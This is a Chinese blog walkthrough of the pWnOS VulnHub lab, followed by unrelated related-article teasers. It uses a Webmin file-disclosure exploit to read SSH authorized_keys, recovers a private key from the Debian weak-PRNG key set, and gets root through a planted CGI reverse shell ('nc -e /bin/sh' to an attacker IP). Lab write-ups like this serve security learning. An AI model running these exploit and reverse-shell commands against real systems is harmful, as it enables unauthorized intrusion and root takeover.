当前位置: 首页 > news >正文

pWnOS的第二种全新解法(ssh私钥破解、webmin漏洞提权)

端口

端口扫描内容请看:vulnhub(8):pWnOS(还没信息收集就已经成功打点)-CSDN博客

打点

ssh登录公钥收集
./2017.pl 192.168.234.116 10000 /home/vmware/.ssh/authorized_keys 0
./2017.pl 192.168.234.116 10000 /home/obama/.ssh/authorized_keys 0
./2017.pl 192.168.234.116 10000 /home/osama/.ssh/authorized_keys 0
./2017.pl 192.168.234.116 10000 /home/yomama/.ssh/authorized_keys 0
​
只有vmware和obama开了私钥登录
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy14qQJUrsQsEOo9FNkoilHAgvQuiE5Wy9DwYVfLrkkcDB2uubtMzGw9hl3smD/OwUyXc/lNED7MNLS8JvehZbMJv1GkkMHvv1Vfcs6FVnBIfPBz0OqFrEGf+a4JEc/eF2R6nIJDIgnjBVeNcQaIM3NOr1rYPzgDwAH/yWoKfzNv5zeMUkMZ7OVC54AovoSujQC/VRdKzGRhhLQmyFVMH9v19UrLgJB6otLcr3d8/uAB2ypTw+LmuIPe9zqrMwxskdfY4Sth2rl6D3bq6Fwca+pYh++phOyKeDPYkBi3hx6R3b3ETZlNCLJjG7+t7kwFdF02Iuw== vmware@ubuntuvm
​
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf0ptx2wrcAw09HayPxMnKv+BFiGA/I1yXn5EqUfuLSDcTwiIeVSvqJl3NNI5HQUUc6KGlwrhCW464ksARX2ZAp9+6Yu7DphKZmtF5QsWaiJc7oV5il89zltwBDqR362AH49m8/3OcZp4XJqEAOlVWeT5/jikmke834CyTMlIcyPL85LpFw2aXQCJQIzvkCHJAfwTpwJTugGMB5Ng73omS82Q3ErbOhTSa5iBuE86SEkyyotEBUObgWU3QW6ZMWM0Rd9ErIgvps1r/qpteMMrgieSUKlF/LaeMezSXXkZrn0x+A2bKsw9GwMetQ== obama@ubuntuvm
破解私钥
searchsploit prng后看到5622.txt,但是这个漏洞有条件
私钥破解需要看ssh使用的openssl的版本号,如果OpenSSL 0.9.8c-1 < 0.9.8g-9(Debian 及其衍生产品
才能使用如下漏洞破解,那么我们在如何不打点的情况下知道openssl版本呢,因为知道openssl的版本需要ssh -V显示出来,而这串字符串是硬编码文件里面的,所以我们不能通过文件披露获得openssl的版本,所以说只能尝试,因此,这是一种不可靠的尝试做法,或者说拿下目标机器后ssh -V查看版本,且匹配版本漏洞后,再破解其他用户私钥开源的私钥对做对比
​
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
​
tar vjxf 5622.tar.bz2           # 解压
​
# 目录下都是成对的私钥对:
3ff5e8afcbae87c8e5068c34afd54de5-17533.pub  7fb92ee77c941eb15a1926d097dfb555-20341      bf42c327274d75818b09c409c9c2d18e-19747.pub  fffbc8da0c715adf2b9672837aa8a807-20113
3ff6efb66496111fb2e5b16f6d55f8f1-21200      7fbd40ce4c3248dc251f09f238e2c3bc-30929      bf440475ec6be28f998e2074a00e0e1c-20388      fffbc8da0c715adf2b9672837aa8a807-20113.pub
......
​
分别对比vmware和obama
:grep -lr "AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy1"
grep -lr "AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjq"
​
发现目录有obama用户密钥对的公钥:2048/dcbe2a56e8cdea6d17495f6648329ee2-4679.pub
​
那么它的私钥就是与之成对的2048/dcbe2a56e8cdea6d17495f6648329ee2-4679
ssh登录
cp dcbe2a56e8cdea6d17495f6648329ee2-4679 /tmp/rsa
使用私钥登录
ssh obama@192.168.234.116 -oHostKeyAlgorithms=ssh-rsa,ssh-dss -i /tmp/rsa -oPubkeyAcceptedKeyTypes=ssh-rsa
​
tips:
错误:sign_and_send_pubkey: no mutual signature supported,这是因为密钥登陆阶段,客户端没有发送服务端支持公钥类型,因此密钥登陆的验证不知道用什么算法,我们手动指出即可-oPubkeyAcceptedKeyTypes=ssh-rsa,简而言之:就是服务端不知道以什么算法验证登录密钥
​
错误:Unable to negotiate with 192.168.234.116 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss,这是因为客户端主机密钥验证阶段,需要服务端host私钥签名,客户端host公钥验证服务端身份,但是客户端并没有向服务端指定hostkey的类型,服务端不知道使用什么算法签名,它提示服务端支持ssh-rsa,ssh-dss,我们手动指定即可-oHostKeyAlgorithms=ssh-rsa,ssh-dss,简而言之:就是服务端不知道以什么算法验证自己身份
​
具体ssh完整步骤且两个参数具体作用看文章:红队ssh协议通信全流程以及安全研究-CSDN博客

提权

webmin服务是按root权限进行的
​
要使用webmin服务提权,我们要思考一个问题:
如何让webmin访问且执行到我们写入的反弹shell
​
解决问题:
首先webmin服务的目录是没有任何写入权限的,我们不能把反弹shell写在webmin服务目录下,
那么不写入webmin目录,服务就访问不到反弹shell了吗?
我们可以之前使用webmin文件披露的漏洞,使用此脚本请求系统任意路径下cgi脚本时,apache会执行cgi脚本,因此我们在任意位置写入cgi脚本,就可以使用webmin服务请求并执行到cgi脚本,因为webmin使用root权限,因此反弹shell权限也是root
构造cgi文件
# cgi反弹shell
nc -e /bin/sh 192.168.234.47 1234
​
# 传给靶机
攻击者监听并请求
nc -nlvp 1234
​
让webmin服务执行cgi反弹shell
./2017.pl 192.168.234.116 10000 /home/vmware/shell3.cgi 0
结果
connect to [192.168.234.47] from (UNKNOWN) [192.168.234.116] 57598
python -c 'import pty;pty.spawn("/bin/bash")'
root@ubuntuvm:/usr/local/webmin# whomai
root
​
为何这个漏洞能够成功:
1.这个漏洞本质上是使用apache服务器对任意文件的请求,apache对其他脚本会输出,但是对cgi会解析执行
2.webmin服务使用root运行

相关文章:

pWnOS的第二种全新解法(ssh私钥破解、webmin漏洞提权)

端口 端口扫描内容请看&#xff1a;vulnhub&#xff08;8&#xff09;&#xff1a;pWnOS&#xff08;还没信息收集就已经成功打点&#xff09;-CSDN博客 打点 ssh登录公钥收集 ./2017.pl 192.168.234.116 10000 /home/vmware/.ssh/authorized_keys 0 ./2017.pl 192.168.234.11…...

Maven入门学习笔记

一、maven介绍 Maven是一款自动化构建工具&#xff0c;专注服务于JAVA平台的项目构建和依赖管理。在javaEE开发的历史上构建工具的发展也经历了一系列的演化和变迁。 管理jar包 当我们使用SSM之后我们就需要使用非常多的jar包 没有maven找jar包非常的麻烦。 使用maven下载…...

linux驱动开发-arm汇编基础

目录 写在前面 1、Cortex-A7 处理器有 9 种处理模式 2、Cortex-A 寄存器组 通用寄存器 1、汇编语法 2、Cortex-A7 常用汇编指令 2.1 处理器内部数据传输指令 2.1.1 传输数据操作类型 1、MOV指令 2、MRS指令 3、MSR指令 2.2、存储器访问指令 2.2.1 LDR指令 2.2.2 …...

【HarmonyOS】鸿蒙头像上传-(编辑个人信息页- 头像上传)+实时数据更新

#效果图 #思路 ##步骤&#xff1a; ###一、利用picker api选择1张图片 实例化选择器参数(使用new PhotoSelectOptions())实例化图片选择器 (使用newPhotoViewPicker() )调用图片选择器的select方法传入选择器参数完成图片选取获得结果 利用picker api选择1张图片 async sele…...

[数据集][目标检测]无人机识别检测数据集VOC+YOLO格式6986张1类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;6986 标注数量(xml文件个数)&#xff1a;6986 标注数量(txt文件个数)&#xff1a;6986 标注…...

基于SSM的二手交易管理系统的设计与实现 (含源码+sql+视频导入教程+文档)

&#x1f449;文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1 、功能描述 基于SSM的二手交易管理系统1拥有两种角色 管理员&#xff1a;商品管理、订单管理、充值管理、用户管理等用户&#xff1a;发布商品、查看闲置、充值账户、查看所有订单、发布求购信息、修…...

linux-centos 设置系统时间

CentOS 系统提供了多种方式来设置和管理时间&#xff0c;包括手动设置时间和使用网络时间协议 (NTP) 自动同步时间。以下是几种常见的方法&#xff1a; 手动设置时间 使用date命令临时设置时间&#xff1a; 如果你只需要临时设置时间&#xff0c;可以使用 date 命令&#xff1…...

【Linux基础】冯诺依曼体系结构操作系统的理解

目录 前言一&#xff0c;冯诺依曼体系1. 为什么有内存结构?2. 对硬件中数据流动的再理解 二&#xff0c;操作系统(Operator System)1. 概念2. 操作系统结构的层状划分3. 操作系统对硬件管理的理解4. 用户与操作系统的关系的理解5. 系统调用和库函数的关系6. 为什么要有操作系统…...

算法题解:斐波那契数列(C语言)

斐波那契数列 斐波那契数列是一个经典的数学序列&#xff0c;其中每一项的值是前两项的和。数列的前两项通常定义为0和1&#xff0c;即&#xff1a; F(0) 0 F(1) 1 F(n) F(n-1) F(n-2) (n ≥ 2)输入一个正整数n&#xff0c;求斐波那契数列的第n项。 样例 假设输入 n …...

SSM 框架 个人使用习惯 详细

SpringMVC主要是controller、service、dao&#xff08;mapper&#xff09;层交互 controller&#xff1a;处理数据请求的接口 service&#xff1a;处理请求的数据 dao&#xff08;mapper&#xff09;&#xff1a;对数据进行持久化 下面我将对controller和service.impl进行讲…...

[羊城杯 2020]Blackcat1

知识点&#xff1a;数组加密绕过 进入页面熟悉的web三部曲&#xff08;url地址&#xff0c;web源代码&#xff0c;web目录扫描&#xff09; url地址没有什么东西去看看源代码. 这有一个mp3文件点一下看看. 在最后面发现了 PHP源码. if(empty($_POST[Black-Cat-Sheriff]) || em…...

腾讯云Ubuntu系统安装宝塔,配置Java环境,运行spring boot项目

致谢 本次学习宝塔部署spring boot项目&#xff0c;参考如下资料 https://www.cnblogs.com/daen/p/15997872.html 系统安装宝塔 直接用的腾讯云云服务器面板上的登录&#xff0c;你可以换成 xshell 进入宝塔官网&#xff1a; https://www.bt.cn/new/download.html 我们采…...

双亲委派机制知识点

类加载器 双亲委派模型 为什么采用双亲委派模型 打破双亲委派机制的场景 Tomcat 打破双亲委派机制:目的是可以加载不同版本的jar包 实现类隔离&#xff1a;在Tomcat中&#xff0c;每个Web应用使用独立的类加载器加载类文件&#xff0c;这样做的好处在于&#xff0c;当在同一T…...

vue part 11

vuex的模块化与namespace 115_尚硅谷Vue技术_vuex模块化namespace_1_哔哩哔哩_bilibili 116_尚硅谷Vue技术_vuex模块化namespace_2_哔哩哔哩_bilibili vue-router路由 很常见的很重要的应用&#xff1a;Ajax请求&#xff0c;将响应的数据替换掉原先的代码从而实现不跳转页面…...

【QT】常用类

欢迎来到Cefler的博客&#x1f601; &#x1f54c;博客主页&#xff1a;折纸花满衣 &#x1f3e0;个人专栏&#xff1a;QT 目录 &#x1f449;&#x1f3fb;QMediaPlayer&#x1f449;&#x1f3fb;QMediaPlaylistsetPlaybackMode &#x1f449;&#x1f3fb;QDir&#x1f449;…...

从index_put出发全面学习cuda和pytorch技术

一 前言 深感目前对于cuda和pytorch所涉及知识的广度和深度,但一时又不知道该如何去学习,经过多日的考虑,还是决定管中窥豹,从一个算子出发,抽丝剥茧,慢慢学习,把学习中碰到的问题都记录下来,希望可以坚持下去。 二 函数功能描述 【torch算子】torch.index_put和tor…...

浅谈住房城乡建设部科技创新平台布局重点方向

最近住房建设部组织开展住房城乡建设部科技创新平台&#xff08;以下简称部科技创新平台&#xff09;申报工作。详细内容见住房城乡建设部科技创新平台开始申报了 (qq.com)。在这里有4大方向共15个课题。内容见下图&#xff1a; 虽然我是做技术的&#xff0c;但是如何体现创新还…...

调用 write()函数后,如何知道数据是否已经写入磁盘?

在 Linux 中调用 write() 函数后&#xff0c;可以通过以下几种方式来确定数据是否已经写入磁盘&#xff1a; 一、使用同步函数 1. fsync() 函数&#xff1a; - 这个函数会强制将与文件描述符相关的所有修改过的内核缓冲区写入磁盘&#xff0c;并等待直到磁盘 I/O 操作完…...

策略路由与路由策略的区别

&#x1f423;个人主页 可惜已不在 &#x1f424;这篇在这个专栏 华为_可惜已不在的博客-CSDN博客 &#x1f425;有用的话就留下一个三连吧&#x1f63c; 目录 一、主体不同 二、方式不同 三、规则不同 四、定义和基本概念 一、主体不同 1、路由策略&#xff1a;是为了改…...

从底层原理上理解ClickHouse 中的稀疏索引

稀疏索引&#xff08;Sparse Indexes&#xff09;是 ClickHouse 中一个重要的加速查询机制。与传统数据库使用的 B-Tree 或哈希索引不同&#xff0c;ClickHouse 的稀疏索引并不是为每一行数据构建索引&#xff0c;而是为数据存储的块或部分数据生成索引。这种索引的核心思想是通…...

[2025CVPR]DeepVideo-R1:基于难度感知回归GRPO的视频强化微调框架详解

突破视频大语言模型推理瓶颈,在多个视频基准上实现SOTA性能 一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战 ​安全措施依赖问题​ GRPO使用min和clip函数限制策略更新幅度,导致: 梯度抑制:当新旧策略差异过大时梯度消失收敛困难:策略无法充分优化# 传统GRPO的梯…...

大语言模型如何处理长文本?常用文本分割技术详解

为什么需要文本分割? 引言:为什么需要文本分割?一、基础文本分割方法1. 按段落分割(Paragraph Splitting)2. 按句子分割(Sentence Splitting)二、高级文本分割策略3. 重叠分割(Sliding Window)4. 递归分割(Recursive Splitting)三、生产级工具推荐5. 使用LangChain的…...

定时器任务——若依源码分析

分析util包下面的工具类schedule utils&#xff1a; ScheduleUtils 是若依中用于与 Quartz 框架交互的工具类&#xff0c;封装了定时任务的 创建、更新、暂停、删除等核心逻辑。 createScheduleJob createScheduleJob 用于将任务注册到 Quartz&#xff0c;先构建任务的 JobD…...

376. Wiggle Subsequence

376. Wiggle Subsequence 代码 class Solution { public:int wiggleMaxLength(vector<int>& nums) {int n nums.size();int res 1;int prediff 0;int curdiff 0;for(int i 0;i < n-1;i){curdiff nums[i1] - nums[i];if( (prediff > 0 && curdif…...

【单片机期末】单片机系统设计

主要内容&#xff1a;系统状态机&#xff0c;系统时基&#xff0c;系统需求分析&#xff0c;系统构建&#xff0c;系统状态流图 一、题目要求 二、绘制系统状态流图 题目&#xff1a;根据上述描述绘制系统状态流图&#xff0c;注明状态转移条件及方向。 三、利用定时器产生时…...

全志A40i android7.1 调试信息打印串口由uart0改为uart3

一&#xff0c;概述 1. 目的 将调试信息打印串口由uart0改为uart3。 2. 版本信息 Uboot版本&#xff1a;2014.07&#xff1b; Kernel版本&#xff1a;Linux-3.10&#xff1b; 二&#xff0c;Uboot 1. sys_config.fex改动 使能uart3(TX:PH00 RX:PH01)&#xff0c;并让boo…...

JVM 内存结构 详解

内存结构 运行时数据区&#xff1a; Java虚拟机在运行Java程序过程中管理的内存区域。 程序计数器&#xff1a; ​ 线程私有&#xff0c;程序控制流的指示器&#xff0c;分支、循环、跳转、异常处理、线程恢复等基础功能都依赖这个计数器完成。 ​ 每个线程都有一个程序计数…...

vue3 daterange正则踩坑

<el-form-item label"空置时间" prop"vacantTime"> <el-date-picker v-model"form.vacantTime" type"daterange" start-placeholder"开始日期" end-placeholder"结束日期" clearable :editable"fal…...

C++_哈希表

本篇文章是对C学习的哈希表部分的学习分享 相信一定会对你有所帮助~ 那咱们废话不多说&#xff0c;直接开始吧&#xff01; 一、基础概念 1. 哈希核心思想&#xff1a; 哈希函数的作用&#xff1a;通过此函数建立一个Key与存储位置之间的映射关系。理想目标&#xff1a;实现…...

数据结构:泰勒展开式:霍纳法则(Horner‘s Rule)

目录 &#x1f50d; 若用递归计算每一项&#xff0c;会发生什么&#xff1f; Horners Rule&#xff08;霍纳法则&#xff09; 第一步&#xff1a;我们从最原始的泰勒公式出发 第二步&#xff1a;从形式上重新观察展开式 &#x1f31f; 第三步&#xff1a;引出霍纳法则&…...